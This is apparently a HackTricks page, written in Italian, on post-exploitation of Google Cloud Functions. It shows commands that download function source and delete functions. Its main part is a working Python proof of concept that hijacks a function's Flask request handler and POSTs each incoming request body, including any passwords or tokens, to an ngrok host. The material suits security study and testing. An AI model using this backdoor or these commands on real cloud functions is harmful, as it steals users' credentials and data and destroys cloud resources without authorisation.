# GCP - Cloud Functions Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Functions

Trova informazioni su Cloud Functions in:

{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
{{#endref}}

### `cloudfunctions.functions.sourceCodeGet`

Con questo permesso puoi ottenere un **URL firmato per scaricare il codice sorgente** della Cloud Function:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
### `cloudfunctions.functions.delete`
Il permesso `cloudfunctions.functions.delete` consente a un'identità di eliminare completamente una Cloud Function, incluso il suo codice, la configurazione, i trigger e la sua associazione con gli account di servizio.
```bash
gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet
```
### Code Exfiltration through the bucket
Le autorizzazioni `storage.objects.get` e `storage.objects.list` permettono di elencare e leggere gli oggetti all'interno di un bucket, e nel caso di Cloud Functions questo è particolarmente rilevante perché ogni funzione memorizza il proprio codice sorgente in un bucket Google gestito automaticamente, il cui nome segue il formato `gcf-sources-<PROJECT_NUMBER>-<REGION>`


### Steal Cloud Function Requests

Se la Cloud Function gestisce informazioni sensibili inviate dagli utenti (es. password o token), con privilegi sufficienti potresti **modify the source code of the function and exfiltrate** queste informazioni.

Inoltre, le Cloud Functions eseguite in python utilizzano **flask** per esporre il web server; se in qualche modo trovi una vulnerabilità di code injection nel processo flask (ad esempio una vulnerabilità SSTI), è possibile **override the function handler** che riceverà le richieste HTTP per una **malicious function** che può **exfiltrate the request** prima di passarla al handler legittimo.

Per esempio questo codice implementa l'attacco:
```python
import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"


# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)
```
{{#include ../../../banners/hacktricks-training.md}}
